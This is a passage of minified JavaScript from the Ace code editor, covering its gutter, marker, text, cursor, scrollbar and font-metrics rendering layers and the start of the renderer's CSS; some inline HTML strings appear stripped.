"ace_fold-widget ace_" + c; if (c == "start" && row == foldStart && row < fold.end.row) className += " ace_closed"; else className += " ace_open"; if (cell.foldWidget.className != className) cell.foldWidget.className = className; var height = config.lineHeight + "px"; if (cell.foldWidget.style.height != height) cell.foldWidget.style.height = height; } else { if (cell.foldWidget) { cell.element.removeChild(cell.foldWidget); cell.foldWidget = null; } } var text = lastLineNumber = gutterRenderer ? gutterRenderer.getText(session, row) : row + firstLineNumber; if (text != cell.textNode.data) cell.textNode.data = text; row++; } this.element.style.height = config.minHeight + "px"; if (this.$fixedWidth || session.$useWrapMode) lastLineNumber = session.getLength() + firstLineNumber; var gutterWidth = gutterRenderer ? gutterRenderer.getWidth(session, lastLineNumber, config) : lastLineNumber.toString().length * config.characterWidth; var padding = this.$padding || this.$computePadding(); gutterWidth += padding.left + padding.right; if (gutterWidth !== this.gutterWidth && !isNaN(gutterWidth)) { this.gutterWidth = gutterWidth; this.element.style.width = Math.ceil(this.gutterWidth) + "px"; this._emit("changeGutterWidth", gutterWidth); } }; this.$fixedWidth = false; this.$showLineNumbers = true; this.$renderer = ""; this.setShowLineNumbers = function(show) { this.$renderer = !show && { getWidth: function() {return ""}, getText: function() {return ""} }; }; this.getShowLineNumbers = function() { return this.$showLineNumbers; }; this.$showFoldWidgets = true; this.setShowFoldWidgets = function(show) { if (show) dom.addCssClass(this.element, "ace_folding-enabled"); else dom.removeCssClass(this.element, "ace_folding-enabled"); this.$showFoldWidgets = show; this.$padding = null; }; this.getShowFoldWidgets = function() { return this.$showFoldWidgets; }; this.$computePadding = function() { if (!this.element.firstChild) return {left: 0, right: 0}; var style = dom.computedStyle(this.element.firstChild); this.$padding = {}; this.$padding.left = parseInt(style.paddingLeft) + 1 || 0; this.$padding.right = parseInt(style.paddingRight) || 0; return this.$padding; }; this.getRegion = function(point) { var padding = this.$padding || this.$computePadding(); var rect = this.element.getBoundingClientRect(); if (point.x < padding.left + rect.left) return "markers"; if (this.$showFoldWidgets && point.x > rect.right - padding.right) return "foldWidgets"; }; }).call(Gutter.prototype); exports.Gutter = Gutter; }); ace.define("ace/layer/marker",["require","exports","module","ace/range","ace/lib/dom"], function(require, exports, module) { "use strict"; var Range = require("../range").Range; var dom = require("../lib/dom"); var Marker = function(parentEl) { this.element = dom.createElement("div"); this.element.className = "ace_layer ace_marker-layer"; parentEl.appendChild(this.element); }; (function() { this.$padding = 0; this.setPadding = function(padding) { this.$padding = padding; }; this.setSession = function(session) { this.session = session; }; this.setMarkers = function(markers) { this.markers = markers; }; this.update = function(config) { var config = config || this.config; if (!config) return; this.config = config; var html = []; for (var key in this.markers) { var marker = this.markers[key]; if (!marker.range) { marker.update(html, this, this.session, config); continue; } var range = marker.range.clipRows(config.firstRow, config.lastRow); if (range.isEmpty()) continue; range = range.toScreenRange(this.session); if (marker.renderer) { var top = this.$getTop(range.start.row, config); var left = this.$padding + range.start.column * config.characterWidth; marker.renderer(html, range, left, top, config); } else if (marker.type == "fullLine") { this.drawFullLineMarker(html, range, marker.clazz, config); } else if (marker.type == "screenLine") { this.drawScreenLineMarker(html, range, marker.clazz, config); } else if (range.isMultiLine()) { if (marker.type == "text") this.drawTextMarker(html, range, marker.clazz, config); else this.drawMultiLineMarker(html, range, marker.clazz, config); } else { this.drawSingleLineMarker(html, range, marker.clazz + " ace_start" + " ace_br15", config); } } this.element.innerHTML = html.join(""); }; this.$getTop = function(row, layerConfig) { return (row - layerConfig.firstRowScreen) * layerConfig.lineHeight; }; function getBorderClass(tl, tr, br, bl) { return (tl ? 1 : 0) | (tr ? 2 : 0) | (br ? 4 : 0) | (bl ? 8 : 0); } this.drawTextMarker = function(stringBuilder, range, clazz, layerConfig, extraStyle) { var session = this.session; var start = range.start.row; var end = range.end.row; var row = start; var prev = 0; var curr = 0; var next = session.getScreenLastRowColumn(row); var lineRange = new Range(row, range.start.column, row, curr); for (; row <= end; row++) { lineRange.start.row = lineRange.end.row = row; lineRange.start.column = row == start ? range.start.column : session.getRowWrapIndent(row); lineRange.end.column = next; prev = curr; curr = next; next = row + 1 < end ? session.getScreenLastRowColumn(row + 1) : row == end ? 0 : range.end.column; this.drawSingleLineMarker(stringBuilder, lineRange, clazz + (row == start ? " ace_start" : "") + " ace_br" + getBorderClass(row == start || row == start + 1 && range.start.column, prev < curr, curr > next, row == end), layerConfig, row == end ? 0 : 1, extraStyle); } }; this.drawMultiLineMarker = function(stringBuilder, range, clazz, config, extraStyle) { var padding = this.$padding; var height = config.lineHeight; var top = this.$getTop(range.start.row, config); var left = padding + range.start.column * config.characterWidth; extraStyle = extraStyle || ""; stringBuilder.push( "
    " ); top = this.$getTop(range.end.row, config); var width = range.end.column * config.characterWidth; stringBuilder.push( "
    " ); height = (range.end.row - range.start.row - 1) * config.lineHeight; if (height <= 0) return; top = this.$getTop(range.start.row + 1, config); var radiusClass = (range.start.column ? 1 : 0) | (range.end.column ? 0 : 8); stringBuilder.push( "
    " ); }; this.drawSingleLineMarker = function(stringBuilder, range, clazz, config, extraLength, extraStyle) { var height = config.lineHeight; var width = (range.end.column + (extraLength || 0) - range.start.column) * config.characterWidth; var top = this.$getTop(range.start.row, config); var left = this.$padding + range.start.column * config.characterWidth; stringBuilder.push( "
    " ); }; this.drawFullLineMarker = function(stringBuilder, range, clazz, config, extraStyle) { var top = this.$getTop(range.start.row, config); var height = config.lineHeight; if (range.start.row != range.end.row) height += this.$getTop(range.end.row, config) - top; stringBuilder.push( "
    " ); }; this.drawScreenLineMarker = function(stringBuilder, range, clazz, config, extraStyle) { var top = this.$getTop(range.start.row, config); var height = config.lineHeight; stringBuilder.push( "
    " ); }; }).call(Marker.prototype); exports.Marker = Marker; }); ace.define("ace/layer/text",["require","exports","module","ace/lib/oop","ace/lib/dom","ace/lib/lang","ace/lib/useragent","ace/lib/event_emitter"], function(require, exports, module) { "use strict"; var oop = require("../lib/oop"); var dom = require("../lib/dom"); var lang = require("../lib/lang"); var useragent = require("../lib/useragent"); var EventEmitter = require("../lib/event_emitter").EventEmitter; var Text = function(parentEl) { this.element = dom.createElement("div"); this.element.className = "ace_layer ace_text-layer"; parentEl.appendChild(this.element); this.$updateEolChar = this.$updateEolChar.bind(this); }; (function() { oop.implement(this, EventEmitter); this.EOF_CHAR = "\xB6"; this.EOL_CHAR_LF = "\xAC"; this.EOL_CHAR_CRLF = "\xa4"; this.EOL_CHAR = this.EOL_CHAR_LF; this.TAB_CHAR = "\u2014"; //"\u21E5"; this.SPACE_CHAR = "\xB7"; this.$padding = 0; this.$updateEolChar = function() { var EOL_CHAR = this.session.doc.getNewLineCharacter() == "\n" ? this.EOL_CHAR_LF : this.EOL_CHAR_CRLF; if (this.EOL_CHAR != EOL_CHAR) { this.EOL_CHAR = EOL_CHAR; return true; } } this.setPadding = function(padding) { this.$padding = padding; this.element.style.padding = "0 " + padding + "px"; }; this.getLineHeight = function() { return this.$fontMetrics.$characterSize.height || 0; }; this.getCharacterWidth = function() { return this.$fontMetrics.$characterSize.width || 0; }; this.$setFontMetrics = function(measure) { this.$fontMetrics = measure; this.$fontMetrics.on("changeCharacterSize", function(e) { this._signal("changeCharacterSize", e); }.bind(this)); this.$pollSizeChanges(); } this.checkForSizeChanges = function() { this.$fontMetrics.checkForSizeChanges(); }; this.$pollSizeChanges = function() { return this.$pollSizeChangesTimer = this.$fontMetrics.$pollSizeChanges(); }; this.setSession = function(session) { this.session = session; if (session) this.$computeTabString(); }; this.showInvisibles = false; this.setShowInvisibles = function(showInvisibles) { if (this.showInvisibles == showInvisibles) return false; this.showInvisibles = showInvisibles; this.$computeTabString(); return true; }; this.displayIndentGuides = true; this.setDisplayIndentGuides = function(display) { if (this.displayIndentGuides == display) return false; this.displayIndentGuides = display; this.$computeTabString(); return true; }; this.$tabStrings = []; this.onChangeTabSize = this.$computeTabString = function() { var tabSize = this.session.getTabSize(); this.tabSize = tabSize; var tabStr = this.$tabStrings = [0]; for (var i = 1; i < tabSize + 1; i++) { if (this.showInvisibles) { tabStr.push("" + lang.stringRepeat(this.TAB_CHAR, i) + ""); } else { tabStr.push(lang.stringRepeat(" ", i)); } } if (this.displayIndentGuides) { this.$indentGuideRe = /\s\S| \t|\t |\s$/; var className = "ace_indent-guide"; var spaceClass = ""; var tabClass = ""; if (this.showInvisibles) { className += " ace_invisible"; spaceClass = " ace_invisible_space"; tabClass = " ace_invisible_tab"; var spaceContent = lang.stringRepeat(this.SPACE_CHAR, this.tabSize); var tabContent = lang.stringRepeat(this.TAB_CHAR, this.tabSize); } else{ var spaceContent = lang.stringRepeat(" ", this.tabSize); var tabContent = spaceContent; } this.$tabStrings[" "] = "" + spaceContent + ""; this.$tabStrings["\t"] = "" + tabContent + ""; } }; this.updateLines = function(config, firstRow, lastRow) { if (this.config.lastRow != config.lastRow || this.config.firstRow != config.firstRow) { this.scrollLines(config); } this.config = config; var first = Math.max(firstRow, config.firstRow); var last = Math.min(lastRow, config.lastRow); var lineElements = this.element.childNodes; var lineElementsIdx = 0; for (var row = config.firstRow; row < first; row++) { var foldLine = this.session.getFoldLine(row); if (foldLine) { if (foldLine.containsRow(first)) { first = foldLine.start.row; break; } else { row = foldLine.end.row; } } lineElementsIdx ++; } var row = first; var foldLine = this.session.getNextFoldLine(row); var foldStart = foldLine ? foldLine.start.row : Infinity; while (true) { if (row > foldStart) { row = foldLine.end.row+1; foldLine = this.session.getNextFoldLine(row, foldLine); foldStart = foldLine ? foldLine.start.row :Infinity; } if (row > last) break; var lineElement = lineElements[lineElementsIdx++]; if (lineElement) { var html = []; this.$renderLine( html, row, !this.$useLineGroups(), row == foldStart ? foldLine : false ); lineElement.style.height = config.lineHeight * this.session.getRowLength(row) + "px"; lineElement.innerHTML = html.join(""); } row++; } }; this.scrollLines = function(config) { var oldConfig = this.config; this.config = config; if (!oldConfig || oldConfig.lastRow < config.firstRow) return this.update(config); if (config.lastRow < oldConfig.firstRow) return this.update(config); var el = this.element; if (oldConfig.firstRow < config.firstRow) for (var row=this.session.getFoldedRowCount(oldConfig.firstRow, config.firstRow - 1); row>0; row--) el.removeChild(el.firstChild); if (oldConfig.lastRow > config.lastRow) for (var row=this.session.getFoldedRowCount(config.lastRow + 1, oldConfig.lastRow); row>0; row--) el.removeChild(el.lastChild); if (config.firstRow < oldConfig.firstRow) { var fragment = this.$renderLinesFragment(config, config.firstRow, oldConfig.firstRow - 1); if (el.firstChild) el.insertBefore(fragment, el.firstChild); else el.appendChild(fragment); } if (config.lastRow > oldConfig.lastRow) { var fragment = this.$renderLinesFragment(config, oldConfig.lastRow + 1, config.lastRow); el.appendChild(fragment); } }; this.$renderLinesFragment = function(config, firstRow, lastRow) { var fragment = this.element.ownerDocument.createDocumentFragment(); var row = firstRow; var foldLine = this.session.getNextFoldLine(row); var foldStart = foldLine ? foldLine.start.row : Infinity; while (true) { if (row > foldStart) { row = foldLine.end.row+1; foldLine = this.session.getNextFoldLine(row, foldLine); foldStart = foldLine ? foldLine.start.row : Infinity; } if (row > lastRow) break; var container = dom.createElement("div"); var html = []; this.$renderLine(html, row, false, row == foldStart ? foldLine : false); container.innerHTML = html.join(""); if (this.$useLineGroups()) { container.className = 'ace_line_group'; fragment.appendChild(container); container.style.height = config.lineHeight * this.session.getRowLength(row) + "px"; } else { while(container.firstChild) fragment.appendChild(container.firstChild); } row++; } return fragment; }; this.update = function(config) { this.config = config; var html = []; var firstRow = config.firstRow, lastRow = config.lastRow; var row = firstRow; var foldLine = this.session.getNextFoldLine(row); var foldStart = foldLine ? foldLine.start.row : Infinity; while (true) { if (row > foldStart) { row = foldLine.end.row+1; foldLine = this.session.getNextFoldLine(row, foldLine); foldStart = foldLine ? foldLine.start.row :Infinity; } if (row > lastRow) break; if (this.$useLineGroups()) html.push("
    ") this.$renderLine(html, row, false, row == foldStart ? foldLine : false); if (this.$useLineGroups()) html.push("
    "); // end the line group row++; } this.element.innerHTML = html.join(""); }; this.$textToken = { "text": true, "rparen": true, "lparen": true }; this.$renderToken = function(stringBuilder, screenColumn, token, value) { var self = this; var replaceReg = /\t|&|<|>|( +)|([\x00-\x1f\x80-\xa0\xad\u1680\u180E\u2000-\u200f\u2028\u2029\u202F\u205F\u3000\uFEFF\uFFF9-\uFFFC])|[\u1100-\u115F\u11A3-\u11A7\u11FA-\u11FF\u2329-\u232A\u2E80-\u2E99\u2E9B-\u2EF3\u2F00-\u2FD5\u2FF0-\u2FFB\u3000-\u303E\u3041-\u3096\u3099-\u30FF\u3105-\u312D\u3131-\u318E\u3190-\u31BA\u31C0-\u31E3\u31F0-\u321E\u3220-\u3247\u3250-\u32FE\u3300-\u4DBF\u4E00-\uA48C\uA490-\uA4C6\uA960-\uA97C\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFAFF\uFE10-\uFE19\uFE30-\uFE52\uFE54-\uFE66\uFE68-\uFE6B\uFF01-\uFF60\uFFE0-\uFFE6]/g; var replaceFunc = function(c, a, b, tabIdx, idx4) { if (a) { return self.showInvisibles ? "" + lang.stringRepeat(self.SPACE_CHAR, c.length) + "" : c; } else if (c == "&") { return "&"; } else if (c == "<") { return "<"; } else if (c == ">") { return ">"; } else if (c == "\t") { var tabSize = self.session.getScreenTabSize(screenColumn + tabIdx); screenColumn += tabSize - 1; return self.$tabStrings[tabSize]; } else if (c == "\u3000") { var classToUse = self.showInvisibles ? "ace_cjk ace_invisible ace_invisible_space" : "ace_cjk"; var space = self.showInvisibles ? self.SPACE_CHAR : ""; screenColumn += 1; return "" + space + ""; } else if (b) { return "" + self.SPACE_CHAR + ""; } else { screenColumn += 1; return "" + c + ""; } }; var output = value.replace(replaceReg, replaceFunc); if (!this.$textToken[token.type]) { var classes = "ace_" + token.type.replace(/\./g, " ace_"); var style = ""; if (token.type == "fold") style = " style='width:" + (token.value.length * this.config.characterWidth) + "px;' "; stringBuilder.push("", output, ""); } else { stringBuilder.push(output); } return screenColumn + value.length; }; this.renderIndentGuide = function(stringBuilder, value, max) { var cols = value.search(this.$indentGuideRe); if (cols <= 0 || cols >= max) return value; if (value[0] == " ") { cols -= cols % this.tabSize; stringBuilder.push(lang.stringRepeat(this.$tabStrings[" "], cols/this.tabSize)); return value.substr(cols); } else if (value[0] == "\t") { stringBuilder.push(lang.stringRepeat(this.$tabStrings["\t"], cols)); return value.substr(cols); } return value; }; this.$renderWrappedLine = function(stringBuilder, tokens, splits, onlyContents) { var chars = 0; var split = 0; var splitChars = splits[0]; var screenColumn = 0; for (var i = 0; i < tokens.length; i++) { var token = tokens[i]; var value = token.value; if (i == 0 && this.displayIndentGuides) { chars = value.length; value = this.renderIndentGuide(stringBuilder, value, splitChars); if (!value) continue; chars -= value.length; } if (chars + value.length < splitChars) { screenColumn = this.$renderToken(stringBuilder, screenColumn, token, value); chars += value.length; } else { while (chars + value.length >= splitChars) { screenColumn = this.$renderToken( stringBuilder, screenColumn, token, value.substring(0, splitChars - chars) ); value = value.substring(splitChars - chars); chars = splitChars; if (!onlyContents) { stringBuilder.push("", "
    " ); } stringBuilder.push(lang.stringRepeat("\xa0", splits.indent)); split ++; screenColumn = 0; splitChars = splits[split] || Number.MAX_VALUE; } if (value.length != 0) { chars += value.length; screenColumn = this.$renderToken( stringBuilder, screenColumn, token, value ); } } } }; this.$renderSimpleLine = function(stringBuilder, tokens) { var screenColumn = 0; var token = tokens[0]; var value = token.value; if (this.displayIndentGuides) value = this.renderIndentGuide(stringBuilder, value); if (value) screenColumn = this.$renderToken(stringBuilder, screenColumn, token, value); for (var i = 1; i < tokens.length; i++) { token = tokens[i]; value = token.value; screenColumn = this.$renderToken(stringBuilder, screenColumn, token, value); } }; this.$renderLine = function(stringBuilder, row, onlyContents, foldLine) { if (!foldLine && foldLine != false) foldLine = this.session.getFoldLine(row); if (foldLine) var tokens = this.$getFoldLineTokens(row, foldLine); else var tokens = this.session.getTokens(row); if (!onlyContents) { stringBuilder.push( "
    " ); } if (tokens.length) { var splits = this.session.getRowSplitData(row); if (splits && splits.length) this.$renderWrappedLine(stringBuilder, tokens, splits, onlyContents); else this.$renderSimpleLine(stringBuilder, tokens); } if (this.showInvisibles) { if (foldLine) row = foldLine.end.row stringBuilder.push( "", row == this.session.getLength() - 1 ? this.EOF_CHAR : this.EOL_CHAR, "" ); } if (!onlyContents) stringBuilder.push("
    "); }; this.$getFoldLineTokens = function(row, foldLine) { var session = this.session; var renderTokens = []; function addTokens(tokens, from, to) { var idx = 0, col = 0; while ((col + tokens[idx].value.length) < from) { col += tokens[idx].value.length; idx++; if (idx == tokens.length) return; } if (col != from) { var value = tokens[idx].value.substring(from - col); if (value.length > (to - from)) value = value.substring(0, to - from); renderTokens.push({ type: tokens[idx].type, value: value }); col = from + value.length; idx += 1; } while (col < to && idx < tokens.length) { var value = tokens[idx].value; if (value.length + col > to) { renderTokens.push({ type: tokens[idx].type, value: value.substring(0, to - col) }); } else renderTokens.push(tokens[idx]); col += value.length; idx += 1; } } var tokens = session.getTokens(row); foldLine.walk(function(placeholder, row, column, lastColumn, isNewRow) { if (placeholder != null) { renderTokens.push({ type: "fold", value: placeholder }); } else { if (isNewRow) tokens = session.getTokens(row); if (tokens.length) addTokens(tokens, lastColumn, column); } }, foldLine.end.row, this.session.getLine(foldLine.end.row).length); return renderTokens; }; this.$useLineGroups = function() { return this.session.getUseWrapMode(); }; this.destroy = function() { clearInterval(this.$pollSizeChangesTimer); if (this.$measureNode) this.$measureNode.parentNode.removeChild(this.$measureNode); delete this.$measureNode; }; }).call(Text.prototype); exports.Text = Text; }); ace.define("ace/layer/cursor",["require","exports","module","ace/lib/dom"], function(require, exports, module) { "use strict"; var dom = require("../lib/dom"); var isIE8; var Cursor = function(parentEl) { this.element = dom.createElement("div"); this.element.className = "ace_layer ace_cursor-layer"; parentEl.appendChild(this.element); if (isIE8 === undefined) isIE8 = !("opacity" in this.element.style); this.isVisible = false; this.isBlinking = true; this.blinkInterval = 1000; this.smoothBlinking = false; this.cursors = []; this.cursor = this.addCursor(); dom.addCssClass(this.element, "ace_hidden-cursors"); this.$updateCursors = (isIE8 ? this.$updateVisibility : this.$updateOpacity).bind(this); }; (function() { this.$updateVisibility = function(val) { var cursors = this.cursors; for (var i = cursors.length; i--; ) cursors[i].style.visibility = val ? "" : "hidden"; }; this.$updateOpacity = function(val) { var cursors = this.cursors; for (var i = cursors.length; i--; ) cursors[i].style.opacity = val ? "" : "0"; }; this.$padding = 0; this.setPadding = function(padding) { this.$padding = padding; }; this.setSession = function(session) { this.session = session; }; this.setBlinking = function(blinking) { if (blinking != this.isBlinking){ this.isBlinking = blinking; this.restartTimer(); } }; this.setBlinkInterval = function(blinkInterval) { if (blinkInterval != this.blinkInterval){ this.blinkInterval = blinkInterval; this.restartTimer(); } }; this.setSmoothBlinking = function(smoothBlinking) { if (smoothBlinking != this.smoothBlinking && !isIE8) { this.smoothBlinking = smoothBlinking; dom.setCssClass(this.element, "ace_smooth-blinking", smoothBlinking); this.$updateCursors(true); this.$updateCursors = (this.$updateOpacity).bind(this); this.restartTimer(); } }; this.addCursor = function() { var el = dom.createElement("div"); el.className = "ace_cursor"; this.element.appendChild(el); this.cursors.push(el); return el; }; this.removeCursor = function() { if (this.cursors.length > 1) { var el = this.cursors.pop(); el.parentNode.removeChild(el); return el; } }; this.hideCursor = function() { this.isVisible = false; dom.addCssClass(this.element, "ace_hidden-cursors"); this.restartTimer(); }; this.showCursor = function() { this.isVisible = true; dom.removeCssClass(this.element, "ace_hidden-cursors"); this.restartTimer(); }; this.restartTimer = function() { var update = this.$updateCursors; clearInterval(this.intervalId); clearTimeout(this.timeoutId); if (this.smoothBlinking) { dom.removeCssClass(this.element, "ace_smooth-blinking"); } update(true); if (!this.isBlinking || !this.blinkInterval || !this.isVisible) return; if (this.smoothBlinking) { setTimeout(function(){ dom.addCssClass(this.element, "ace_smooth-blinking"); }.bind(this)); } var blink = function(){ this.timeoutId = setTimeout(function() { update(false); }, 0.6 * this.blinkInterval); }.bind(this); this.intervalId = setInterval(function() { update(true); blink(); }, this.blinkInterval); blink(); }; this.getPixelPosition = function(position, onScreen) { if (!this.config || !this.session) return {left : 0, top : 0}; if (!position) position = this.session.selection.getCursor(); var pos = this.session.documentToScreenPosition(position); var cursorLeft = this.$padding + pos.column * this.config.characterWidth; var cursorTop = (pos.row - (onScreen ? this.config.firstRowScreen : 0)) * this.config.lineHeight; return {left : cursorLeft, top : cursorTop}; }; this.update = function(config) { this.config = config; var selections = this.session.$selectionMarkers; var i = 0, cursorIndex = 0; if (selections === undefined || selections.length === 0){ selections = [{cursor: null}]; } for (var i = 0, n = selections.length; i < n; i++) { var pixelPos = this.getPixelPosition(selections[i].cursor, true); if ((pixelPos.top > config.height + config.offset || pixelPos.top < 0) && i > 1) { continue; } var style = (this.cursors[cursorIndex++] || this.addCursor()).style; if (!this.drawCursor) { style.left = pixelPos.left + "px"; style.top = pixelPos.top + "px"; style.width = config.characterWidth + "px"; style.height = config.lineHeight + "px"; } else { this.drawCursor(style, pixelPos, config, selections[i], this.session); } } while (this.cursors.length > cursorIndex) this.removeCursor(); var overwrite = this.session.getOverwrite(); this.$setOverwrite(overwrite); this.$pixelPos = pixelPos; this.restartTimer(); }; this.drawCursor = null; this.$setOverwrite = function(overwrite) { if (overwrite != this.overwrite) { this.overwrite = overwrite; if (overwrite) dom.addCssClass(this.element, "ace_overwrite-cursors"); else dom.removeCssClass(this.element, "ace_overwrite-cursors"); } }; this.destroy = function() { clearInterval(this.intervalId); clearTimeout(this.timeoutId); }; }).call(Cursor.prototype); exports.Cursor = Cursor; }); ace.define("ace/scrollbar",["require","exports","module","ace/lib/oop","ace/lib/dom","ace/lib/event","ace/lib/event_emitter"], function(require, exports, module) { "use strict"; var oop = require("./lib/oop"); var dom = require("./lib/dom"); var event = require("./lib/event"); var EventEmitter = require("./lib/event_emitter").EventEmitter; var ScrollBar = function(parent) { this.element = dom.createElement("div"); this.element.className = "ace_scrollbar ace_scrollbar" + this.classSuffix; this.inner = dom.createElement("div"); this.inner.className = "ace_scrollbar-inner"; this.element.appendChild(this.inner); parent.appendChild(this.element); this.setVisible(false); this.skipEvent = false; event.addListener(this.element, "scroll", this.onScroll.bind(this)); event.addListener(this.element, "mousedown", event.preventDefault); }; (function() { oop.implement(this, EventEmitter); this.setVisible = function(isVisible) { this.element.style.display = isVisible ? "" : "none"; this.isVisible = isVisible; }; }).call(ScrollBar.prototype); var VScrollBar = function(parent, renderer) { ScrollBar.call(this, parent); this.scrollTop = 0; renderer.$scrollbarWidth = this.width = dom.scrollbarWidth(parent.ownerDocument); this.inner.style.width = this.element.style.width = (this.width || 15) + 5 + "px"; }; oop.inherits(VScrollBar, ScrollBar); (function() { this.classSuffix = '-v'; this.onScroll = function() { if (!this.skipEvent) { this.scrollTop = this.element.scrollTop; this._emit("scroll", {data: this.scrollTop}); } this.skipEvent = false; }; this.getWidth = function() { return this.isVisible ? this.width : 0; }; this.setHeight = function(height) { this.element.style.height = height + "px"; }; this.setInnerHeight = function(height) { this.inner.style.height = height + "px"; }; this.setScrollHeight = function(height) { this.inner.style.height = height + "px"; }; this.setScrollTop = function(scrollTop) { if (this.scrollTop != scrollTop) { this.skipEvent = true; this.scrollTop = this.element.scrollTop = scrollTop; } }; }).call(VScrollBar.prototype); var HScrollBar = function(parent, renderer) { ScrollBar.call(this, parent); this.scrollLeft = 0; this.height = renderer.$scrollbarWidth; this.inner.style.height = this.element.style.height = (this.height || 15) + 5 + "px"; }; oop.inherits(HScrollBar, ScrollBar); (function() { this.classSuffix = '-h'; this.onScroll = function() { if (!this.skipEvent) { this.scrollLeft = this.element.scrollLeft; this._emit("scroll", {data: this.scrollLeft}); } this.skipEvent = false; }; this.getHeight = function() { return this.isVisible ? this.height : 0; }; this.setWidth = function(width) { this.element.style.width = width + "px"; }; this.setInnerWidth = function(width) { this.inner.style.width = width + "px"; }; this.setScrollWidth = function(width) { this.inner.style.width = width + "px"; }; this.setScrollLeft = function(scrollLeft) { if (this.scrollLeft != scrollLeft) { this.skipEvent = true; this.scrollLeft = this.element.scrollLeft = scrollLeft; } }; }).call(HScrollBar.prototype); exports.ScrollBar = VScrollBar; // backward compatibility exports.ScrollBarV = VScrollBar; // backward compatibility exports.ScrollBarH = HScrollBar; // backward compatibility exports.VScrollBar = VScrollBar; exports.HScrollBar = HScrollBar; }); ace.define("ace/renderloop",["require","exports","module","ace/lib/event"], function(require, exports, module) { "use strict"; var event = require("./lib/event"); var RenderLoop = function(onRender, win) { this.onRender = onRender; this.pending = false; this.changes = 0; this.window = win || window; }; (function() { this.schedule = function(change) { this.changes = this.changes | change; if (!this.pending && this.changes) { this.pending = true; var _self = this; event.nextFrame(function() { _self.pending = false; var changes; while (changes = _self.changes) { _self.changes = 0; _self.onRender(changes); } }, this.window); } }; }).call(RenderLoop.prototype); exports.RenderLoop = RenderLoop; }); ace.define("ace/layer/font_metrics",["require","exports","module","ace/lib/oop","ace/lib/dom","ace/lib/lang","ace/lib/useragent","ace/lib/event_emitter"], function(require, exports, module) { var oop = require("../lib/oop"); var dom = require("../lib/dom"); var lang = require("../lib/lang"); var useragent = require("../lib/useragent"); var EventEmitter = require("../lib/event_emitter").EventEmitter; var CHAR_COUNT = 0; var FontMetrics = exports.FontMetrics = function(parentEl) { this.el = dom.createElement("div"); this.$setMeasureNodeStyles(this.el.style, true); this.$main = dom.createElement("div"); this.$setMeasureNodeStyles(this.$main.style); this.$measureNode = dom.createElement("div"); this.$setMeasureNodeStyles(this.$measureNode.style); this.el.appendChild(this.$main); this.el.appendChild(this.$measureNode); parentEl.appendChild(this.el); if (!CHAR_COUNT) this.$testFractionalRect(); this.$measureNode.innerHTML = lang.stringRepeat("X", CHAR_COUNT); this.$characterSize = {width: 0, height: 0}; this.checkForSizeChanges(); }; (function() { oop.implement(this, EventEmitter); this.$characterSize = {width: 0, height: 0}; this.$testFractionalRect = function() { var el = dom.createElement("div"); this.$setMeasureNodeStyles(el.style); el.style.width = "0.2px"; document.documentElement.appendChild(el); var w = el.getBoundingClientRect().width; if (w > 0 && w < 1) CHAR_COUNT = 50; else CHAR_COUNT = 100; el.parentNode.removeChild(el); }; this.$setMeasureNodeStyles = function(style, isRoot) { style.width = style.height = "auto"; style.left = style.top = "0px"; style.visibility = "hidden"; style.position = "absolute"; style.whiteSpace = "pre"; if (useragent.isIE < 8) { style["font-family"] = "inherit"; } else { style.font = "inherit"; } style.overflow = isRoot ? "hidden" : "visible"; }; this.checkForSizeChanges = function() { var size = this.$measureSizes(); if (size && (this.$characterSize.width !== size.width || this.$characterSize.height !== size.height)) { this.$measureNode.style.fontWeight = "bold"; var boldSize = this.$measureSizes(); this.$measureNode.style.fontWeight = ""; this.$characterSize = size; this.charSizes = Object.create(null); this.allowBoldFonts = boldSize && boldSize.width === size.width && boldSize.height === size.height; this._emit("changeCharacterSize", {data: size}); } }; this.$pollSizeChanges = function() { if (this.$pollSizeChangesTimer) return this.$pollSizeChangesTimer; var self = this; return this.$pollSizeChangesTimer = setInterval(function() { self.checkForSizeChanges(); }, 500); }; this.setPolling = function(val) { if (val) { this.$pollSizeChanges(); } else if (this.$pollSizeChangesTimer) { clearInterval(this.$pollSizeChangesTimer); this.$pollSizeChangesTimer = 0; } }; this.$measureSizes = function() { if (CHAR_COUNT === 50) { var rect = null; try { rect = this.$measureNode.getBoundingClientRect(); } catch(e) { rect = {width: 0, height:0 }; } var size = { height: rect.height, width: rect.width / CHAR_COUNT }; } else { var size = { height: this.$measureNode.clientHeight, width: this.$measureNode.clientWidth / CHAR_COUNT }; } if (size.width === 0 || size.height === 0) return null; return size; }; this.$measureCharWidth = function(ch) { this.$main.innerHTML = lang.stringRepeat(ch, CHAR_COUNT); var rect = this.$main.getBoundingClientRect(); return rect.width / CHAR_COUNT; }; this.getCharacterWidth = function(ch) { var w = this.charSizes[ch]; if (w === undefined) { w = this.charSizes[ch] = this.$measureCharWidth(ch) / this.$characterSize.width; } return w; }; this.destroy = function() { clearInterval(this.$pollSizeChangesTimer); if (this.el && this.el.parentNode) this.el.parentNode.removeChild(this.el); }; }).call(FontMetrics.prototype); }); ace.define("ace/virtual_renderer",["require","exports","module","ace/lib/oop","ace/lib/dom","ace/config","ace/lib/useragent","ace/layer/gutter","ace/layer/marker","ace/layer/text","ace/layer/cursor","ace/scrollbar","ace/scrollbar","ace/renderloop","ace/layer/font_metrics","ace/lib/event_emitter"], function(require, exports, module) { "use strict"; var oop = require("./lib/oop"); var dom = require("./lib/dom"); var config = require("./config"); var useragent = require("./lib/useragent"); var GutterLayer = require("./layer/gutter").Gutter; var MarkerLayer = require("./layer/marker").Marker; var TextLayer = require("./layer/text").Text; var CursorLayer = require("./layer/cursor").Cursor; var HScrollBar = require("./scrollbar").HScrollBar; var VScrollBar = require("./scrollbar").VScrollBar; var RenderLoop = require("./renderloop").RenderLoop; var FontMetrics = require("./layer/font_metrics").FontMetrics; var EventEmitter = require("./lib/event_emitter").EventEmitter; var editorCss = ".ace_editor {\ position: relative;\ overflow: hidden;\ font: 12px/normal 'Monaco', 'Menlo', 'Ubuntu Mono', 'Consolas', 'source-code-pro', monospace;\ direction: ltr;\ }\ .ace_scroller {\ position: absolute;\ overflow: hidden;\ top: 0;\ bottom: 0;\ background-color: inherit;\ -ms-user-select: none;\ -moz-user-select: none;\ -webkit-user-select: none;\ user-select: none;\ cursor: text;\ }\ .ace_content {\ position: absolute;\ -moz-box-sizing: border-box;\ -webkit-box-sizing: border-box;\ box-sizing: border-box;\ min-width: 100%;\ }\ .ace_dragging .ace_scroller:before{\ position: absolute;\ top: 0;\ left: 0;\ right: 0;\ bottom: 0;\ content: '';\ background: rgba(250, 250, 250, 0.01);\ z-index: 1000;\ }\ 